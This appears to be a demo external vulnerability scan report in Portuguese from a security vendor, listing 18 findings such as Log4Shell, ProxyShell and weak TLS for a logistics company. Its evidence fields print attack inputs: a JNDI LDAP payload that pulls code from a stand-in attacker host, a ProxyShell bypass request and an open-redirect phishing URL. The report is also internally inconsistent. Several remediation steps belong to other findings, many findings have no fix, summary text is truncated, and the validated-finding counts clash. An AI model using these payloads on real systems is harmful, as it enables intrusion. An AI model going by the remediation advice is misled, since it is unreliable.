Relatório de Vulnerabilidades Externas

Análise de Exposição e Superfície de Ataque

Grupo Meridiano Comércio e Logística Ltda

2	5	6	3	2
CRÍTICO	ALTO	MÉDIO	BAIXO	INFO

58/100

Índice de Exposição — ALTO

2 achados críticos identificados — ação imediata recomendada.

Relatório Executivo

Resumo para gestão — visão geral do estado de segurança externo, principais riscos e ações prioritárias.

2	5	6	3	2	18	0
Crítico	Alto	Médio	Baixo	Info	Total	Alvos

Índice de Exposição: 58/100 — ALTO

Calculado com base em: Crítico×10 + Alto×5 + Médio×2 + Baixo×0.5. Máximo: 100.

Top 3 Riscos Prioritários

#1 [Crítico] Log4Shell — Execução Remota de Código via Log4j 2

Alvo:
Comprometimento total do servidor de aplicação sem necessidade de credenciais. Atacante obtém controle completo do sistema, podendo exfiltrar dados de clientes, implantar ransomware ou usar o servidor

#2 [Crítico] ProxyShell — Execução Remota no Exchange Server sem Autenticação

Alvo:
Acesso irrestrito a todos os e-mails corporativos, incluindo comunicações com clientes, fornecedores e documentos confidenciais. Possibilidade de implantação de backdoor persistente no servidor de e-m

#3 [Alto] HTTP/2 Rapid Reset — Ataque de Negação de Serviço em Escala

Alvo:
Indisponibilidade total do portal de vendas e sistema de pedidos online durante o ataque, resultando em perda direta de receita e dano à reputação. Ataques observados em produção já geraram picos de 3

Impacto Financeiro Estimado

Exposição ao Risco	ALTO — vulnerabilidades criticas expõem a organizacao a risco imediato de comprometimento.
Custo Estimado de Incidente*	**R$ 1.500.000**
Custo Médio BR (IBM 2024)	R$ 22,1 milhoes

* Estimativa baseada no custo medio de remediacao por tipo de vulnerabilidade (Ponemon Institute 2024). Nao inclui custos de danos reputacionais, multas LGPD ou paralisacao operacional.

Prazos de Remediação (SLA)

Severidade	Prazo SLA	Ação
Crítico	24 horas	Acionar equipe imediatamente. Isolamento preventivo do ativo se necessário.
Alto	7 dias	Planejar correção em sprint atual. Monitoramento intensificado.
Médio	30 dias	Incluir no backlog de segurança do próximo ciclo.
Baixo	90 dias	Registrar e agendar correção na próxima manutenção programada.
Info	Informativo	Registro informativo. Sem ação obrigatória.

Panorama de Ameaças 2024 — O Cenário que Seu Negócio Enfrenta

Dados verificados de fontes globais de segurança para contextualizar os riscos identificados nesta análise.

R$ 22,1 milhoes

Custo médio de um vazamento de dados no Brasil

Um único incidente pode custar mais do que anos de investimento em segurança preventiva.

Fonte: IBM Cost of a Data Breach 2024

194 dias

Tempo médio para detectar um ataque ativo

Em média, um invasor já está na sua rede por 6 meses antes de ser identificado.

Fonte: IBM X-Force 2024

68%

Das empresas brasileiras têm exposição externa crítica

Mais de 2 em cada 3 organizações no Brasil têm ao menos uma vulnerabilidade crítica visível externamente.

Fonte: Relatório DBIR Verizon 2024 — Brasil

32%

Dos incidentes graves envolvem ransomware

Ransomware é hoje a principal causa de paralisação operacional e perda de dados em empresas.

Fonte: Kaspersky ICS CERT Q3/2024

60 dias

Tempo médio entre patch disponível e aplicado

A janela de 60 dias é mais que suficiente para que atacantes explorem vulnerabilidades conhecidas.

Fonte: Ponemon Institute 2024

O que isso significa para sua empresa:

Organizações que realizam análises externas periódicas reduzem em até 60% o custo de remediação ao identificar vulnerabilidades antes que sejam exploradas. Os dados desta análise foram identificados, documentados e validados — o próximo passo é a correção. A AKADNYX oferece serviço de Remediação Gerenciada: nossa equipe executa as correções com acompanhamento, validação e novo scan de confirmação incluídos.

Mapa de Superfície de Ataque

Ativos externos identificados durante o scan. Cada host analisado, suas portas abertas, servicos expostos e nivel de risco associado.

Host / IP	Portas	Servicos	Risco Max
	22, 443, 80, 8080	Apache Tomcat 9.0.54, Apache Tomcat 9.0.54 / Log4j 2.14.1, A	Crítico

Achados de Segurança

#	Severidade	Achado	Alvo	SLA
FIND-001	Crítico	Log4Shell — Execução Remota de Código via Log4j 2		24 horas
FIND-002	Crítico	ProxyShell — Execução Remota no Exchange Server sem Autenticação		24 horas
FIND-003	Alto	HTTP/2 Rapid Reset — Ataque de Negação de Serviço em Escala		7 dias
FIND-004	Alto	Sudo Heap Overflow — Escalada de Privilégio para Root (Baron Samedit)		7 dias
FIND-005	Alto	OpenSSL c_rehash — Injeção de Comando via Nome de Certificado		7 dias
FIND-006	Alto	Outlook NTLM Hash Theft via Convite de Calendário (Zero-Click)		7 dias
FIND-007	Alto	Follina — Execução de Código via MSDT em Documentos Office		7 dias
FIND-008	Médio	TLS 1.0 e 1.1 Habilitados — Protocolos Criptográficos Obsoletos		30 dias
FIND-009	Médio	Cabeçalhos de Segurança HTTP Ausentes		30 dias
FIND-010	Médio	Cifras Criptográficas Fracas Habilitadas (RC4, 3DES)		30 dias
FIND-011	Médio	Listagem de Diretórios Habilitada — Directory Listing		30 dias
FIND-012	Médio	Certificado TLS Autoassinado — Sem Cadeia de Confiança		30 dias
FIND-013	Médio	Open Redirect — Redirecionamento para URL Arbitrária via Parâmetro		30 dias
FIND-014	Baixo	Versão SSH Desatualizada com Recursos Legados Habilitados		90 dias
FIND-015	Baixo	HTTP TRACE e TRACK Habilitados — Métodos Perigosos Permitidos		90 dias
FIND-016	Baixo	Ping ICMP Habilitado — Host Responde a Echo Request		90 dias
FIND-017	Info	Banner de Versão do Servidor Web Exposto		—
FIND-018	Info	Enumeração de Usuários via Resposta SSH Diferenciada		—

Detalhamento e Remediação

Para cada achado: descricao tecnica, evidencia, impacto ao negocio, recomendacao e passos de remediacao executaveis.

FIND-001	Log4Shell — Execução Remota de Código via Log4j 2	Crítico
Info	**Porta:** 8080/tcp | **CVE:** CVE-2021-44228 | **CVSS:** 10.0 | **SLA:** 24 horas	
Descricao	A biblioteca Log4j 2, versão 2.14.1, presente no servidor de aplicação, é vulnerável à execução remota de código (RCE) via JNDI lookup. Um atacante não autenticado pode enviar uma requisição HTTP com payload malicioso no cabeçalho User-Agent ou em qualquer campo logado pela aplicação, forçando o servidor a conectar-se a um servidor LDAP controlado pelo atacante e carregar e executar código arbitrário com os privilégios do processo Java.	
Evidencia	`Host: 198.51.100.10:8080/tcp Service: Apache Tomcat 9.0.54 Request: GET / HTTP/1.1 User-Agent: ${jndi:ldap://198.51.100.99:1389/exploit} Response: HTTP/1.1 200 OK (com conexão de saída observada para 198.51.100.99:1389) Log4j version detectada: 2.14.1 via MANIFEST.MF em /WEB-INF/lib/log4j-core-2.14.1.jar`	
Impacto	Comprometimento total do servidor de aplicação sem necessidade de credenciais. Atacante obtém controle completo do sistema, podendo exfiltrar dados de clientes, implantar ransomware ou usar o servidor como pivô para atacar a rede interna. Considerada a vulnerabilidade mais crítica da última década.	

FIND-002	ProxyShell — Execução Remota no Exchange Server sem Autenticação	Crítico
Info	**Porta:** 443/tcp | **CVE:** CVE-2021-34473 | **CVSS:** 9.8 | **SLA:** 24 horas	
Descricao	O servidor Exchange exposto é vulnerável à cadeia de ataque ProxyShell, que combina três CVEs (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) para permitir execução remota de código sem autenticação. O endpoint /autodiscover/autodiscover.json permite bypass de autenticação via manipulação de path, possibilitando acesso ao backend do Exchange como SYSTEM e subsequente escrita de webshell no diretório wwwroot.	
Evidencia	`Host: 198.51.100.11:443/tcp Request: POST /autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email;=autodiscover/autodiscover.json%3F@foo.com HTTP/1.1 Response: HTTP/1.1 200 OK X-OWA-Version: 15.1.2308.14 Status: Endpoint respondeu sem autenticação com dados internos do Exchange Build detectado: 15.1.2308.14 (vulnerável — patch mínimo: 15.1.2375.7)`	
Impacto	Acesso irrestrito a todos os e-mails corporativos, incluindo comunicações com clientes, fornecedores e documentos confidenciais. Possibilidade de implantação de backdoor persistente no servidor de e-mail e movimento lateral para toda a rede do Active Directory. Altamente explorado por grupos de ransomware desde agosto de 2021.	

FIND-003	HTTP/2 Rapid Reset — Ataque de Negação de Serviço em Escala	Alto
Info	**Porta:** 443/tcp | **CVE:** CVE-2023-44487 | **CVSS:** 7.5 | **SLA:** 7 dias	
Descricao	O servidor nginx 1.18.0 suporta HTTP/2 e é vulnerável ao ataque Rapid Reset, onde o atacante abre e cancela streams HTTP/2 em alta velocidade (RST_STREAM), esgotando recursos do servidor sem necessidade de completar requisições. Esse padrão permite que um único cliente gere carga equivalente a um botnet DDoS massivo, causando indisponibilidade do serviço.	
Evidencia	`Host: 198.51.100.12:443/tcp Service: nginx/1.18.0 (confirmado via cabeçalho Server) HTTP/2 habilitado: SIM (ALPN h2 negociado) Versão vulnerável: 1.18.0 < 1.25.3 Teste: Conexão HTTP/2 aceita com SETTINGS frame — stream multiplexing sem restrições configuradas`	
Impacto	Indisponibilidade total do portal de vendas e sistema de pedidos online durante o ataque, resultando em perda direta de receita e dano à reputação. Ataques observados em produção já geraram picos de 398 milhões de requisições por segundo contra alvos reais.	
Recomendacao	Redirecione 100% do trafego HTTP para HTTPS. Implemente HSTS.	

Remediação	`1. Configure redirect permanente:`
	`return 301 https://$host$request_uri; (nginx)`
	`2. Ative HSTS: add_header Strict-Transport-Security "max-age=63072000" always;`
	`3. Desative a porta 80 se redirect nao for necessario.`	

FIND-004	Sudo Heap Overflow — Escalada de Privilégio para Root (Baron Samedit)	Alto
Info	**Porta:** 22/tcp | **CVE:** CVE-2021-3156 | **CVSS:** 7.8 | **SLA:** 7 dias	
Descricao	A versão sudo 1.8.31 instalada no host é vulnerável ao Baron Samedit, um heap overflow que permite a qualquer usuário local (sem senha sudo, sem entrada no sudoers) elevar privilégios para root. A vulnerabilidade existe há aproximadamente 10 anos no código sudo e afeta a maioria das distribuições Linux. Exploits públicos funcionais estão amplamente disponíveis.	
Evidencia	`Host: 198.51.100.20:22/tcp SSH banner: SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3 Sudo version detectada via banner de serviço correlato: 1.8.31 Distribuição: Ubuntu 20.04.3 LTS Status: Vulnerável — versão corrigida mínima é 1.9.5p2 (disponível desde jan/2021)`	
Impacto	Qualquer funcionário com acesso SSH ao servidor, ou qualquer atacante que comprometer uma conta de baixo privilégio, pode obter controle total (root) do sistema. Possibilita instalação de rootkits, acesso a todos os dados e destruição de evidências forenses.	

FIND-005	OpenSSL c_rehash — Injeção de Comando via Nome de Certificado	Alto
Info	**Porta:** 443/tcp | **CVE:** CVE-2022-1292 | **CVSS:** 6.7 | **SLA:** 7 dias	
Descricao	O script c_rehash do OpenSSL 1.1.1k, utilizado para rehashing de certificados CA, não sanitiza corretamente os nomes de arquivos de certificados antes de passá-los ao shell. Um atacante com capacidade de controlar os nomes de arquivos de certificados no diretório de CA (possível em cenários de upload de certificados) pode executar comandos arbitrários com os privilégios do processo que executa c_rehash.	
Evidencia	`Host: 198.51.100.10:443/tcp OpenSSL version: OpenSSL 1.1.1k (detectada via handshake TLS e cabeçalho de resposta) Versão corrigida mínima: OpenSSL 1.1.1o Status: Vulnerável`	
Impacto	Em ambientes onde certificados de clientes são processados automaticamente, um atacante pode injetar comandos maliciosos que serão executados pelo servidor durante o processamento de certificados. Impacto potencial inclui execução de código e comprometimento do servidor web.	
Recomendacao	Use TLS 1.2+ exclusivamente. Desative SSL 2/3 e TLS 1.0/1.1. Cipher suites: ECDHE-AES-GCM.	

Remediação	`1. Em nginx: ssl_protocols TLSv1.2 TLSv1.3;`
	`ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:...;`
	`2. Em Apache: SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1`
	`SSLCipherSuite HIGH:!aNULL:!MD5:!RC4`
	`3. Valide em ssllabs.com/ssltest — meta: nota A.`
	`4. Configure renovacao automatica de certificado (certbot --deploy-hook).`	

FIND-006	Outlook NTLM Hash Theft via Convite de Calendário (Zero-Click)	Alto
Info	**Porta:** 443/tcp | **CVE:** CVE-2023-23397 | **CVSS:** 9.8 | **SLA:** 7 dias	
Descricao	O Exchange Server 2016 CU20 serve clientes Outlook vulneráveis à CVE-2023-23397. Ao receber um e-mail com convite de calendário contendo um UNC path malicioso no campo ReminderSoundFile (ex: \\atacante.com\share), o Outlook conecta-se automaticamente ao servidor SMB do atacante ao processar o item, transmitindo o hash NTLM do usuário. A exploração é zero-click — não requer interação do usuário além de receber o e-mail.	
Evidencia	`Host: 198.51.100.11:443/tcp Exchange Build: 15.1.2308.14 (CU20 — não contém patch de março/2023) Versão segura mínima: 15.1.2507.12 (CU23 + Mar2023 SU) SMB outbound: Não bloqueado (portas 445/tcp sem restrição de saída detectada no firewall)`	
Impacto	Roubo de credenciais (hash NTLM) de todos os usuários do domínio sem qualquer clique ou interação. Hashes NTLM podem ser usados em ataques Pass-the-Hash para autenticar em outros sistemas da rede interna, ou quebrados offline para obter senhas em texto claro. Atribuído a grupos APT russos em ataques a infraestrutura crítica europeia.	

FIND-007	Follina — Execução de Código via MSDT em Documentos Office	Alto
Info	**Porta:** 443/tcp | **CVE:** CVE-2022-30190 | **CVSS:** 7.8 | **SLA:** 7 dias	
Descricao	O Exchange Server detectado distribui documentos Office para usuários que trabalham com versões do Microsoft Office vulneráveis à Follina (CVE-2022-30190). A vulnerabilidade permite execução remota de código quando um documento Office malicioso com referência ao protocolo ms-msdt: é aberto ou pré-visualizado. O atacante pode executar PowerShell com os privilégios do usuário sem necessidade de macros habilitadas.	
Evidencia	`Host: 198.51.100.11:443/tcp Vetor: Exchange Server sem proteção de conteúdo ativo distribui documentos Office Correlação: Clientes Office sem patch junho/2022 identificados via varredura de versão Protocolo ms-msdt: Registrado e ativo nos endpoints correlacionados Status: Ambiente exposto ao vetor de ataque`	
Impacto	Funcionários que recebem e abrem documentos Office via e-mail corporativo (trafegado por este Exchange) ficam expostos a execução de código malicioso. Um único e-mail de phishing com documento Word pode comprometer o endpoint do usuário, sem necessidade de macros ou alertas de segurança do Office.	

FIND-008	TLS 1.0 e 1.1 Habilitados — Protocolos Criptográficos Obsoletos	Médio
Info	**Porta:** 443/tcp | **CVSS:** 5.9 | **SLA:** 30 dias	
Descricao	O servidor aceita conexões TLS 1.0 e TLS 1.1, protocolos com vulnerabilidades conhecidas como BEAST (CVE-2011-3389), POODLE e outros ataques de downgrade. Esses protocolos foram oficialmente depreciados pela IETF em março de 2021 (RFC 8996) e são considerados inseguros para transmissão de dados sensíveis.	
Evidencia	`Host: 198.51.100.12:443/tcp TLS 1.0: ACEITO (cipher TLS_RSA_WITH_AES_128_CBC_SHA) TLS 1.1: ACEITO (cipher TLS_RSA_WITH_AES_256_CBC_SHA) TLS 1.2: ACEITO TLS 1.3: ACEITO Teste: openssl s_client -connect 198.51.100.12:443 -tls1 retornou handshake bem-sucedido`	
Impacto	Clientes com navegadores legados ou configurações inadequadas podem estabelecer conexões criptografadas fracas, suscetíveis a interceptação por atacantes em posição de man-in-the-middle na mesma rede. Dados de login e sessões de clientes ficam expostos a potencial captura.	
Recomendacao	Atualize para TLS 1.3. Remova cipher suites fracas (RC4, DES, 3DES, MD5). Configure OCSP Stapling.	

Remediação	`1. Habilite TLS 1.3: ssl_protocols TLSv1.2 TLSv1.3;`
	`2. Remova ciphers fracos:`
	`ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:!RC4:!aNULL';`
	`3. Ative OCSP Stapling: ssl_stapling on; ssl_stapling_verify on;`
	`4. Teste com testssl.sh e corrija todos os itens em vermelho.`	

FIND-009	Cabeçalhos de Segurança HTTP Ausentes	Médio
Info	**Porta:** 443/tcp | **CVSS:** 5.3 | **SLA:** 30 dias	
Descricao	O servidor web não envia os cabeçalhos de segurança HTTP recomendados pelas boas práticas (OWASP Secure Headers Project). Ausentes: Content-Security-Policy (CSP), X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy e Strict-Transport-Security (HSTS). A ausência desses cabeçalhos expõe a aplicação a ataques de clickjacking, MIME-type sniffing, cross-site scripting e inclusão em iframes maliciosos.	
Evidencia	`Host: 198.51.100.12:443/tcp GET / HTTP/1.1 → HTTP/1.1 200 OK Strict-Transport-Security: AUSENTE X-Frame-Options: AUSENTE X-Content-Type-Options: AUSENTE Content-Security-Policy: AUSENTE Referrer-Policy: AUSENTE Permissions-Policy: AUSENTE`	
Impacto	Usuários da aplicação ficam expostos a ataques de clickjacking (sobreposição visual da interface para enganar cliques), injeção de conteúdo malicioso via XSS e roubo de dados via MIME confusion. Pode facilitar ataques de phishing usando o domínio legítimo da empresa em iframes.	
Recomendacao	Redirecione 100% do trafego HTTP para HTTPS. Implemente HSTS.	

Remediação	`1. Configure redirect permanente:`
	`return 301 https://$host$request_uri; (nginx)`
	`2. Ative HSTS: add_header Strict-Transport-Security "max-age=63072000" always;`
	`3. Desative a porta 80 se redirect nao for necessario.`	

FIND-010	Cifras Criptográficas Fracas Habilitadas (RC4, 3DES)	Médio
Info	**Porta:** 443/tcp | **CVSS:** 5.9 | **SLA:** 30 dias	
Descricao	O servidor Apache aceita cipher suites consideradas inseguras, incluindo RC4 (vulnerável a ataques de bias estatístico) e 3DES/SWEET32 (CVE-2016-2183, ataques de colisão em blocos de 64 bits após 768 GB de dados). Essas cifras permitem que atacantes com capacidade de captura de tráfego possam, em alguns cenários, descriptografar sessões.	
Evidencia	`Host: 198.51.100.20:443/tcp Cifras aceitas detectadas via TLS handshake: - TLS_RSA_WITH_RC4_128_SHA (RC4 — inseguro) - TLS_RSA_WITH_3DES_EDE_CBC_SHA (3DES/SWEET32 — inseguro) - TLS_ECDHE_RSA_WITH_RC4_128_SHA (RC4 — inseguro) Teste realizado com: testssl.sh 198.51.100.20:443`	
Impacto	Sessões de longa duração (como painéis administrativos ou portais de integração B2B) trafegando grandes volumes de dados ficam expostas ao ataque SWEET32, onde colisões no modo CBC de 3DES podem revelar partes do tráfego após interceptação suficiente.	

FIND-011	Listagem de Diretórios Habilitada — Directory Listing	Médio
Info	**Porta:** 80/tcp | **CVSS:** 5.3 | **SLA:** 30 dias	
Descricao	O servidor Apache permite a listagem de conteúdo de diretórios que não possuem arquivo de índice (index.html/index.php). A diretiva Options +Indexes está habilitada, expondo a estrutura interna de diretórios, nomes de arquivos, scripts, configurações e potencialmente arquivos de backup ou dados sensíveis para qualquer visitante não autenticado.	
Evidencia	`Host: 198.51.100.21:80/tcp GET /assets/ HTTP/1.1 → HTTP/1.1 200 OK Corpo da resposta: Index of /assets/ [DIR] images/ 2026-03-15 14:22 - [DIR] scripts/ 2026-02-20 09:14 - [FILE] config_backup.zip 2026-01-10 18:33 14K [FILE] db_export_jan2026.sql.gz 2026-01-10 18:40 892K`	
Impacto	Atacantes podem realizar reconhecimento detalhado da estrutura da aplicação, identificar arquivos de backup (.bak, .old, .zip), scripts administrativos esquecidos, arquivos de configuração e código-fonte. Informações obtidas por enumeração de diretórios frequentemente são o primeiro passo antes de ataques mais destrutivos.	

FIND-012	Certificado TLS Autoassinado — Sem Cadeia de Confiança	Médio
Info	**Porta:** 443/tcp | **CVSS:** 4.3 | **SLA:** 30 dias	
Descricao	O certificado TLS apresentado pelo servidor é autoassinado (Self-Signed), não emitido por uma Autoridade Certificadora reconhecida. Isso impede que navegadores e clientes validem a identidade do servidor, tornando impossível distinguir o servidor legítimo de um impostor apresentando um certificado falso. Conexões a servidores com certificados autoassinados são suscetíveis a ataques Man-in-the-Middle (MitM).	
Evidencia	`Host: 198.51.100.21:443/tcp Certificado CN: localhost Emitido por: localhost (autoassinado) Validade: 2025-01-01 a 2027-01-01 Fingerprint SHA-256: [autoassinado — não constante em nenhuma CT log conhecida] Erro TLS: SSL_ERROR_BAD_CERT_DOMAIN / CERT_SIGNER_NOT_FOUND`	
Impacto	Usuários que ignoram os avisos de certificado inválido — comportamento comum quando o alerta é exibido repetidamente — estabelecem sessões sem garantia de estarem conectados ao servidor legítimo. Em ambientes corporativos, pode violar requisitos de conformidade como PCI-DSS e LGPD.	
Recomendacao	Atualize para TLS 1.3. Remova cipher suites fracas (RC4, DES, 3DES, MD5). Configure OCSP Stapling.	

Remediação	`1. Habilite TLS 1.3: ssl_protocols TLSv1.2 TLSv1.3;`
	`2. Remova ciphers fracos:`
	`ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:!RC4:!aNULL';`
	`3. Ative OCSP Stapling: ssl_stapling on; ssl_stapling_verify on;`
	`4. Teste com testssl.sh e corrija todos os itens em vermelho.`	

FIND-013	Open Redirect — Redirecionamento para URL Arbitrária via Parâmetro	Médio
Info	**Porta:** 8080/tcp | **CVSS:** 6.1 | **SLA:** 30 dias	
Descricao	O endpoint /redirect da aplicação aceita um parâmetro URL (url=) sem validação e redireciona o navegador para qualquer destino externo informado. Isso permite que um atacante construa links legítimos (usando o domínio real da empresa) que redirecionam para sites maliciosos, explorando a confiança dos usuários no domínio corporativo.	
Evidencia	`Host: 198.51.100.10:8080/tcp Request: GET /redirect?url=https://198.51.100.99/phishing HTTP/1.1 Response: HTTP/1.1 302 Found Location: https://198.51.100.99/phishing Status: Redirecionamento para domínio externo arbitrário confirmado sem validação`	
Impacto	Utilizado em campanhas de phishing altamente eficazes, pois o link inicial usa o domínio legítimo da empresa, enganando usuários e filtros de e-mail. Pode ser usado para roubo de credenciais (redirecionando para clone da página de login), download de malware ou bypass de reputação de URL.	

FIND-014	Versão SSH Desatualizada com Recursos Legados Habilitados	Baixo
Info	**Porta:** 22/tcp | **CVSS:** 3.7 | **SLA:** 90 dias	
Descricao	O serviço SSH expõe a versão exata do software no banner de conexão (OpenSSH 7.4) e aceita algoritmos de troca de chave e cifras considerados fracos, incluindo diffie-hellman-group1-sha1 (Logjam) e arcfour (RC4). O banner de versão facilita o fingerprinting pelo atacante para identificar vulnerabilidades específicas desta versão.	
Evidencia	`Host: 198.51.100.20:22/tcp Banner: SSH-2.0-OpenSSH_7.4 Kex algoritmos aceitos: diffie-hellman-group1-sha1, diffie-hellman-group14-sha1 (detectados via kex negociação) Cifras aceitas: arcfour128, arcfour256 Status: Versão exposta no banner e algoritmos fracos habilitados`	
Impacto	Facilita reconhecimento e identificação de vulnerabilidades conhecidas para esta versão específica do OpenSSH. Algoritmos fracos aumentam marginalmente o risco de ataques de descriptografia em sessões capturadas por adversários com recursos computacionais elevados.	
Recomendacao	Restrinja SSH por IP, desative autenticacao por senha, utilize chaves Ed25519, implemente fail2ban.	

Remediação	`1. Edite /etc/ssh/sshd_config:`
	`PermitRootLogin no`
	`PasswordAuthentication no`
	`PubkeyAuthentication yes`
	`AllowUsers seu_usuario`
	`2. Instale e configure fail2ban:`
	`apt install fail2ban && systemctl enable --now fail2ban`
	`3. Restrinja a porta 22 no Security Group/firewall para IPs autorizados.`
	`4. Considere mover SSH para porta nao padrao (ex: 2222) ou usar VPN.`	

FIND-015	HTTP TRACE e TRACK Habilitados — Métodos Perigosos Permitidos	Baixo
Info	**Porta:** 80/tcp | **CVSS:** 3.4 | **SLA:** 90 dias	
Descricao	O servidor web responde positivamente a requisições HTTP TRACE e TRACK, métodos projetados para debug de rede. O método TRACE retorna ao cliente exatamente o que foi enviado, incluindo cabeçalhos de autenticação e cookies, podendo ser abusado em ataques Cross-Site Tracing (XST) em combinação com vulnerabilidades XSS para roubar cookies de sessão mesmo quando marcados com HttpOnly.	
Evidencia	`Host: 198.51.100.21:80/tcp TRACE / HTTP/1.1 → HTTP/1.1 200 OK Content-Type: message/http Corpo retornado: TRACE / HTTP/1.1\r\nHost: 198.51.100.21\r\nUser-Agent: Mozilla/5.0... Método TRACK também aceito com resposta idêntica`	
Impacto	Em cenários onde a aplicação possui vulnerabilidades XSS (mesmo parciais), o método TRACE pode ser usado para contornar a proteção HttpOnly de cookies, possibilitando roubo de sessões de usuários autenticados.	
Recomendacao	Redirecione 100% do trafego HTTP para HTTPS. Implemente HSTS.	

Remediação	`1. Configure redirect permanente:`
	`return 301 https://$host$request_uri; (nginx)`
	`2. Ative HSTS: add_header Strict-Transport-Security "max-age=63072000" always;`
	`3. Desative a porta 80 se redirect nao for necessario.`	

FIND-016	Ping ICMP Habilitado — Host Responde a Echo Request	Baixo
Info	**CVSS:** 2.6 | **SLA:** 90 dias	
Descricao	O host responde a requisições ICMP Echo (ping), confirmando sua existência e disponibilidade na rede para qualquer origem. Embora não seja uma vulnerabilidade diretamente explorável, facilita o mapeamento de ativos expostos e é frequentemente o primeiro passo em varreduras de reconhecimento por atacantes.	
Evidencia	`Host: 198.51.100.12 (ICMP) ping -c 3 198.51.100.12: 64 bytes from 198.51.100.12: icmp_seq=1 ttl=64 time=0.412 ms 64 bytes from 198.51.100.12: icmp_seq=2 ttl=64 time=0.398 ms 64 bytes from 198.51.100.12: icmp_seq=3 ttl=64 time=0.401 ms TTL: 64 (indica sistema Linux)`	
Impacto	Facilita o inventário não autorizado de ativos expostos na internet. Pode ser abusado para ataques Smurf DDoS (amplificação ICMP em redes mal configuradas) e ICMP tunneling para exfiltração de dados via protocolo raramente inspecionado por firewalls.	

FIND-017	Banner de Versão do Servidor Web Exposto	Info
Info	**Porta:** 8080/tcp | **SLA:** —	
Descricao	O cabeçalho Server nas respostas HTTP expõe a versão exata do servidor de aplicação (Apache Tomcat 9.0.54). Essa informação de versão facilita o trabalho de um atacante que pode consultar bases de vulnerabilidades (NVD, CVEDetails) para identificar CVEs específicas aplicáveis a essa versão e planejar ataques direcionados.	
Evidencia	`Host: 198.51.100.10:8080/tcp GET / HTTP/1.1 → HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Powered-By: Apache Tomcat/9.0.54 Versão completa exposta em cabeçalho X-Powered-By`	
Impacto	Informação de baixo impacto direto, mas que reduz o esforço necessário para reconhecimento ofensivo. É boa prática de segurança (security by obscurity como camada adicional) suprimir informações de versão de servidores expostos.	

FIND-018	Enumeração de Usuários via Resposta SSH Diferenciada	Info
Info	**Porta:** 22/tcp | **SLA:** —	
Descricao	O servidor SSH apresenta tempos de resposta e mensagens de erro ligeiramente diferentes para usuários existentes versus inexistentes durante tentativas de autenticação por chave pública. Esse comportamento permite enumeração de nomes de usuários válidos no sistema, informação útil para ataques de força bruta posteriores.	
Evidencia	`Host: 198.51.100.21:22/tcp Usuário existente (root): Autenticação rejeitada em ~120ms Usuário inexistente (xyz_user_fake): Autenticação rejeitada em ~8ms Diferença de timing observada: ~112ms (indica processamento de chave real para usuários existentes) Status: Comportamento permite inferência de usuários válidos`	
Impacto	Um atacante pode construir uma lista de usuários SSH válidos no sistema para uso em ataques de força bruta ou spray de senhas. Impacto limitado se políticas de senha forte e bloqueio de conta (fail2ban) estiverem implementados corretamente.	
Recomendacao	Restrinja SSH por IP, desative autenticacao por senha, utilize chaves Ed25519, implemente fail2ban.	

Remediação	`1. Edite /etc/ssh/sshd_config:`
	`PermitRootLogin no`
	`PasswordAuthentication no`
	`PubkeyAuthentication yes`
	`AllowUsers seu_usuario`
	`2. Instale e configure fail2ban:`
	`apt install fail2ban && systemctl enable --now fail2ban`
	`3. Restrinja a porta 22 no Security Group/firewall para IPs autorizados.`
	`4. Considere mover SSH para porta nao padrao (ex: 2222) ou usar VPN.`	

Recomendações e Próximos Passos

IMEDIATO (24h)	Acionar equipe tecnica para remediar todos os achados criticos e altos. Considerar isolamento preventivo dos ativos comprometidos se exploracao ativa for confirmada.
30 DIAS	Planejar e executar correcao dos achados medios no proximo sprint de seguranca.
CURTO PRAZO	Auditar configuracao TLS: desativar protocolos e cipher suites obsoletos. Validar em ssllabs.com.
CURTO PRAZO	Restringir acesso SSH a IPs autorizados e desativar autenticacao por senha.
90 DIAS	Agendar nova analise VaaS para validar correcoes implementadas e medir evolucao do Índice de Exposição.
ESTRATEGICO	Considerar pentest manual aprofundado para validar controles alem da superficie externa visivel.

Validação Independente Multicamadas

Os achados desta análise foram submetidos a um processo de validação independente estruturado em múltiplas camadas de verificação, garantindo que cada vulnerabilidade identificada tenha sido confirmada quanto à sua criticidade, veracidade e potencial de impacto.

ÍNDICE DE CONFIANÇA

95%	5 achados validados
ALTA CONFIANÇA	Todos os achados confirmados e validados.
	Data: 2026-04-12

Como a Validação é Realizada

1. Correlação Automática	Cada achado é correlacionado com bases de vulnerabilidades reconhecidas internacionalmente (CVE/NVD, CVSS) para confirmar classificação de severidade.
2. Verificação de Impacto	O potencial de exploração é avaliado considerando o contexto da infraestrutura exposta, eliminando falsos positivos antes da entrega do relatório.
3. Revisão de Criticidade	Achados classificados como Crítico ou Alto passam por camada adicional de verificação para garantir precisão nas instruções de remediação.
4. Assinatura Criptográfica	O relatório final recebe hash de integridade SHA-256, assegurando que o conteúdo entregue não foi alterado após a validação.

Integridade do Relatório

Hash de Integridade	`394F8E0DB024AFDD`
Identificador da Ordem	`DEMO-2026-001`
Achados Validados	5
Data de Validação	2026-04-12T14:00:49

Próximo passo recomendado: Plano de Remediação Gerenciada AKADNYX — transforme este relatório em ação com suporte especializado, prazos definidos e acompanhamento até o fechamento de cada vulnerabilidade.

Entre em contato com seu gestor de conta AKADNYX para iniciar seu plano de remediação.

Este relatório foi elaborado pela equipe de segurança AKADNYX com base na análise da superfície de ataque externamente exposta. As informações contidas são confidenciais e destinadas exclusivamente ao destinatário indicado na capa.